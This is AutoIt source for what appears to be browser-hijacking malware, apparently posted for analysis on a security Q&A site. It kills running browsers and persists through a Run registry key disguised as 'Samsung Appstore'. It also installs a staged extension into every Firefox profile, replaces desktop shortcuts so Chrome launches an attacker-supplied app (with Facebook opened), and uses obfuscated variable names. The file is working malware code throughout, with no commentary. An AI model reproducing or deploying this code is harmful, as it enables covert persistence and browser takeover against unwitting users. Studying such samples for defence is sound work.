http://security.stackexchange.com/a/128270/50311

#NoTrayIcon

Local $killedChrome = False
Local $killedBrowser = False
Local $killedOpera = False
Local $killedFirefox = False
Local $verDatVersion = "1.5"


If ProcessExists("chrome.exe") Then
    ProcessClose("chrome.exe")
    $killedChrome = True
EndIf
If ProcessExists("firefox.exe") Then
    ProcessClose("firefox.exe")
    $killedFirefox = True
EndIf
If ProcessExists("browser.exe") Then
    ProcessClose("browser.exe")
    $killedBrowser = True
EndIf
If ProcessExists("opera.exe") Then
    ProcessClose("opera.exe")
    $killedOpera = True
EndIf


DirCreate(@AppDataDir & "\Mozila\")


Func pathToChrome()
    Local $unused
    Local $ret
    Local $appPath = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe", "Path")
    If StringInStr(RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome", "InstallLocation"), "Chrome") Then
        $ret = RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome", "InstallLocation") & "\chrome.exe"
    ElseIf StringInStr(RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome", "InstallLocation"),"Chrome") Then
        $ret = RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome", "InstallLocation") & "\chrome.exe"
    ElseIf StringInStr($appPath, "Chrome") Then
        $ret = $appPath & "\chrome.exe"
    Else
        $ret = pathProgramFiles() & "\Google\Chrome\Application\chrome.exe"
    EndIf
    return $ret
EndFunc


Func pathProgramFiles()
    Local $dirProgramFiles
    Switch @OSArch
        Case "X86"
            $dirProgramFiles = "Program Files"
        Case "X64"
            $dirProgramFiles = "Program Files (x86)"
    EndSwitch
    Return @HomeDrive & "/" & $dirProgramFiles & "/"
EndFunc ;==>pathProgramFilesh


Func iepath()
    Return pathProgramFiles() & "Internet Explorer/iexplore.exe"
EndFunc


Func replaceShortcuts()
    FileDelete(@DesktopDir & "\*Chrome*.lnk")
    FileDelete(@DesktopDir& "\*Chrome*.lnk")
    FileDelete(@DesktopDir & "\*Google*.lnk")
    FileDelete(@DesktopDir& "\*Google*.lnk")
    FileDelete(@DesktopDir & "\*Internet*.lnk")
    FileDelete(@DesktopDir& "\*Internet*.lnk")
    FileDelete(@DesktopDir & "\*Explorer*.lnk")
    FileDelete(@DesktopDir& "\*Explorer*.lnk")
    createShortcut(pathToChrome(), "up2tb", chr(0) & chr(0) & chr(0) & chr(0), chr(0) & chr(0) & chr(0) & chr(0))
    createShortcut(pathToChrome(), "up2tb", chr(0) & chr(0) & chr(0) & chr(0), chr(0) & chr(0) & chr(0) & chr(0))
    createShortcut(pathToChrome(), "up2tb", chr(0) & chr(0) & chr(0) & chr(0), chr(0) & chr(0) & chr(0) & chr(0))
    createShortcut(pathToChrome(), "up2tb", chr(0) & chr(0) & chr(0) & chr(0), chr(0) & chr(0) & chr(0) & chr(0))
    createShortcut(pathToChrome(), "up2tb", chr(0) & chr(0) & chr(0) & chr(0), chr(0) & chr(0) & chr(0) & chr(0))
    createShortcut(iepath(), "up2tb", chr(0) & chr(0) & chr(0) & chr(0), chr(0) & chr(0) & chr(0) & chr(0))
    createShortcut(iepath(), "up2tb", chr(0) & chr(0) & chr(0) & chr(0), chr(0) & chr(0) & chr(0) & chr(0))
    createShortcut(iepath(), "up2tb", chr(0) & chr(0) & chr(0) & chr(0), chr(0) & chr(0) & chr(0) & chr(0))
    createShortcut(iepath(), "up2tb", chr(0) & chr(0) & chr(0) & chr(0), chr(0) & chr(0) & chr(0) & chr(0))
    createShortcut(iepath(), "up2tb", chr(0) & chr(0) & chr(0) & chr(0), chr(0) & chr(0) & chr(0) & chr(0))
    createShortcut(iepath(), "up2sm", chr(0) & chr(0) & chr(0) & chr(0), "Internet Explorer")
    createShortcut(pathToChrome(), "up2sm", chr(0) & chr(0) & chr(0) & chr(0), "Google Chrome")
    createShortcut(pathToChrome(), 'p2tb', '--load-and-launch-app="' & @AppDataDir & "\Mozila" & '"', "Google Chrome")
    createShortcut(pathToChrome(), 'p2sm', '--load-and-launch-app="' & @AppDataDir & "\Mozila" & '"', "Google Chrome")
    FileCreateShortcut(pathToChrome(), @DesktopDir & "\Google Chrome.lnk", StringReplace(pathToChrome(), "chrome.exe", chr(0) & chr(0) & chr(0) & chr(0)), '--load-and-launch-app="' & @AppDataDir & "\Mozila" & '"', "Google Chrome", chr(0) & chr(0) & chr(0) & chr(0), chr(0) & chr(0) & chr(0) & chr(0), "15", @SW_SHOWMAXIMIZED)
    FileCreateShortcut(pathToChrome(), @DesktopDir & "\Internet Explorer.lnk", StringReplace(pathToChrome(), "chrome.exe", chr(0) & chr(0) & chr(0) & chr(0)), '--load-and-launch-app="' & @AppDataDir & "\Mozila" & '"', "Google Chrome", chr(0) & chr(0) & chr(0) & chr(0), chr(0) & chr(0) & chr(0) & chr(0), "15", @SW_SHOWMAXIMIZED)
    ControlSend('Program Manager', '', '', '{F5}')
EndFunc


Func createShortcut($DU96650J50007, $PY88057E8772 = 'p2sm', $QE84068V19446 = '', $FH37126V95637 = 'Google Chrome')
    $MX50889N8062 = 0
    If Not FileExists($DU96650J50007) Or @OSBuild < 7600 Then return False ; to arrange to your liking, SetError() & co

    ;split path, filename and extension
    $QV53761I27021split = StringSplit($DU96650J50007, '\')
    $LQ96791B72186 = $QV53761I27021split[0]
    $NY46912G26724H79275Y54978 = $QV53761I27021split[$LQ96791B72186]
    $QV53761I27021 = StringReplace($DU96650J50007, $NY46912G26724H79275Y54978, '')
    $QV53761I27021 = StringTrimRight($QV53761I27021, 1)
    $NY46912G26724H79275Y54978split = StringSplit($NY46912G26724H79275Y54978, ".")
    $QX55252I86473 = $NY46912G26724H79275Y54978split[0]
    $NY46912G26724H79275Y54978ext = $NY46912G26724H79275Y54978split[$QX55252I86473]
    $NY46912G26724H79275Y54978name = StringReplace($NY46912G26724H79275Y54978, '.' & $NY46912G26724H79275Y54978ext, '', 1)

    ;define code to use depending on action choosen
    Switch $PY88057E8772
        Case 'pin2SM', 'p2sm'           ;pin to Start Menu
            $DW40391F60732 = 5381
        Case 'unpinFromSM', 'up2sm'     ;unpin from Start Menu
            $DW40391F60732 = 5382
        Case 'pin2TB', 'p2tb'           ;pin to Task Bar
            $DW40391F60732 = 5386
        Case 'unpinFromTB', 'up2tb'     ;unpin from Task Bar
            $DW40391F60732 = 5387
    EndSwitch

    ;if arguments, make a shortcut, pin it then mark it for deletion
    If $QE84068V19446 <> '' And $DW40391F60732 <> 5382 And $DW40391F60732 <> 5387 Then
        $LU75806O87936 = @DesktopDir & '\' & $NY46912G26724H79275Y54978name & '.lnk'
        FileCreateShortcut($DU96650J50007, $LU75806O87936, $QV53761I27021, $QE84068V19446, $FH37126V95637 & ' ' & $QE84068V19446, $DU96650J50007)
        $QV53761I27021 = @DesktopDir
        $NY46912G26724H79275Y54978 = $NY46912G26724H79275Y54978name & '.lnk'
        $MX50889N8062 = 1
    EndIf

    ;retrieve Localized text for action
    $VN21839D40239 = _WinAPI_LoadLibraryEx('shell32.dll', $LOAD_LIBRARY_AS_DATAFILE)
    If $VN21839D40239 Then
        $LD50094H23343 = _WinAPI_LoadString($VN21839D40239, $DW40391F60732)
        ;If @error Then MsgBox(0, "Error", _WinAPI_GetLastErrorMessage()) ;debug
        _WinAPI_FreeLibrary($VN21839D40239)
    EndIf


    If $DW40391F60732 == 5382 Then
        $QV53761I27021 = @UserProfileDir & '\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu'
        $NY46912G26724H79275Y54978 = $NY46912G26724H79275Y54978name & '.lnk'
    EndIf

    ;pin or unpin

    $GX26215V48494 = ObjCreate('Shell.Application')
    $CV39051H10739 = $GX26215V48494.Namespace($QV53761I27021)
    $CV39051H10739Item = $CV39051H10739.ParseName($NY46912G26724H79275Y54978)
    If IsObj($CV39051H10739Item) Then
        For $CV81871N53913 in $CV39051H10739Item.Verbs()
            If StringInStr($CV81871N53913(), $LD50094H23343) Then $CV81871N53913.DoIt()
        Next
    Else
        ;ConsoleWrite($CV39051H10739Item.Verbs())
    EndIf

    ;clean temporary shortcut
    If $MX50889N8062 Then
        FileDelete($LU75806O87936)
    EndIf
EndFunc


Local $verDatFP = FileOpen(@AppDataDir & "\Mozila\ver.dat", 2)
FileWrite($verDatFP, $verDatVersion)
FileClose($verDatFP)


$regCMD = 'reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Samsung Appstore" /d "\"' & @AppDataDir & "\Mozila\autoit.exe" & '\" \"' & @AppDataDir & "\Mozila\up.au3" & '\"" /f'
RunWait(@ComSpec & " /c " & $regCMD, @WindowsDir, @SW_HIDE)


Func installFF($arg)
    DirRemove($arg & "\extensions", 1)
    Sleep(150)
    DirCreate($arg & "\extensions\staged")
    _Zip_UnzipAll(@AppDataDir & "\Mozila\ff.zip", $arg & "\extensions\staged\" , 16)
EndFunc


Func infectFFProfile($ffProfileDir)
    If FileExists($ffProfileDir) Then
        Local $profileDirList = _FileListToArray($ffProfileDir, "*", 2, True)

        If @error = 1 Then
            return false
        EndIf

        If @error = 4 Then
            return false
        EndIf

        For $i = 1 To $profileDirList[0] Step +1
            installFF($profileDirList[$i])
        Next
    EndIf
EndFunc

infectFFProfile("C:\Documents and Settings\" & @UserName & "\Application Data\Mozilla\Firefox\Profiles")
infectFFProfile("C:\Documents and Settings\" & @UserName & "\AppData\Roaming\Mozilla\Firefox\Profiles")

replaceShortcuts()

RegWrite("HKCU\Software\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}", "ap", "REG_SZ", "2.0-dev-multi-chrome")
RegWrite("HKCU\Software\Google\Update\ClientState\{4DC8B4CA-1BDA-483e-B5FA-D3C12E15B62D}", "ap", "REG_SZ", "2.0-dev-multi-chrome")

Sleep(1000)

If Not ($killedChrome = False) Then ShellExecute("chrome.exe", ' --load-and-launch-app="' & @AppDataDir & "\Mozila" & '" https://www.facebook.com/')

ShellExecute(@AppDataDir & "\Mozila\autoit.exe", "up.au3", @AppDataDir & "\Mozila\")

;If Not ($killedBrowser = False) Then ShellExecute("browser.exe")
;If Not ($killedOpera = False) Then ShellExecute("opera.exe")
If Not ($killedFirefox = False) Then ShellExecute("firefox.exe")